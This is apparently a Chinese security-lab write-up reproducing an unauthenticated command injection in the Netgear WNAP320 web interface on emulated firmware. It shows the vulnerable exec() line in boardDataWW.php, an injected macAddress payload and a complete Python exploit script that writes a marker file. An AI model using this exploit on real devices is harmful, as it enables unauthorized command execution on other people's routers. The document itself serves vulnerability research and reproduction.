固件解包
固件模拟
sudo ./run.sh -d netgear /home/iot/Desktop/firmware/Netgear/WNAP320/rootfs.squashfs
固件模拟起来后在浏览器输入192.168.0.100进入web页面
默认用户名密码admin:password
分为Configuration(配置)、Monitoring(监控)、Maintenance(维护)、Support(支持)、四个板块
在web端一个一个点 抓包分析与先前分析的数据包有所不同就是这些数据包的请求没有提交到cgi中而是提交到php文件和js文件较多 这就说明我们分析的重点不应该在二进制文件 而是在.php文件.js文件中
可是在对web页面一顿点点点都没发现什么参数输入点 就算有也利用不了
最后在longlong师傅的点拨下我才想起来这个13厂商Netgear喜欢藏后门(www目录也藏挺深、在home目录下)
用.sh脚本递归提取一下文件名
[https://github.com/Nop3z/Filerunrun](https://github.com/Nop3z/Filerunrun)
打开burpsuite随便抓取一个流量包
记得不要勾选箭头指向的框(勾上了burpsuite会自动进行url编码)
点击右上角的start attack即可开始爆破
其中状态码为200的是可以访问的 经过对每一个响应包的查看 发现只有请求3、4返回的包有输入点
在浏览器中输入http://192.168.0.100/boardDataWW.php即可访问 我们可以输入的点是MAC地址但他限制了只能输入12位十六进制数 如果web页面输入超过12位是无法传参的 但是在抓到数据包后是可以在mac地址后加任意字符的 原因是这个程序只做了前端的校验
在数据包中可以看到我们的参数都被提交到了boardDataWW.php文件中
我们去看看boardDataWW.php源码
其实关键点就在这一行 我们提交的macAddress参数以及reginfo参数会在这被当作参数传入exec函数中 这些参数都是我们可控的并且程序没有对我们传入的参数进行足够的过滤 所以在这存在命令注入漏洞
exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);
在这简单的说一下exec函数
函数定义
string exec ( string $command [, array &$output [, int &$result_code ]] )
$command:存储执行的命令
$output:用来存放执行结果的数组
$result_code:存储命令执行的状态码
在这没有$output所以像ls这种指令是没有回显的
我们尝试用写文件的方式来验证漏洞存在
payload :macAddress=aaaaaaaaaaaaecho PWNED_by_Nop > /tmp/Nop
®info=0&writeData=Submit
至此命令注入漏洞验证已完成 但是在前面burpsuite爆破时我们没有删除cookie也就是我们是在认证的情况下进行操作的那么假如删除cookie后也能执行是不是就是未授权漏洞了呢?
于是我用burpsuite去掉cookie字段后去爆破 结果发现全是400
但是奇怪的是当我在未登录的时候直接在url后加上boardDataWW.php后可以直接访问
于是我用burpsuite抓包分析 我擦 咋还自带cookie呢
我怀疑是我浏览器里缓存的cookie 于是我清理了浏览器的缓存
再次打开 发现依然有新的cookie 这我就奇怪的
于是我重新抓包分析
在分析中我发现cookie是从返回包传回来的
后来我去查找资料才发现这里的cookie并不是用来身份验证的
所以他这里没有进行任何的身份验证
所以这是一个未授权命令执行
exp
import requests
url='http://192.168.0.100:80/boardDataWW.php'
cookies={"PHPSESSID": "f8d3b504b0658d98d383b5d9c2c9134b"}
headers={
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "http://192.168.0.100/boardDataWW.php",
"Origin": "http://192.168.0.100",
"Upgrade-Insecure-Requests": "1",
"Connection": "close"
}
payload={
"macAddress": "aaaaaaaaaaaa`echo PWNED_BY_Nop > /tmp/Nop`",
"reginfo": "0",
"writeData": "Submit"
}
requests.post(url, headers=headers, cookies=cookies, data=payload)
总结:在之前也做过命令注入的复现但漏洞点都在二进制文件中,所以这次也惯性思维把时间花在了二进制文件中,但这次漏洞点在.php文件中,除此之外,boardDataWW.php不是在web端发现的,而是用burpsuite爆破发现的,所以每次分析时都应该用burpsuite爆破遍历所有web页面
原文始发于微信公众号(ProtoWare安全实验室):Netgear-WNAP320未授权命令注入漏洞复现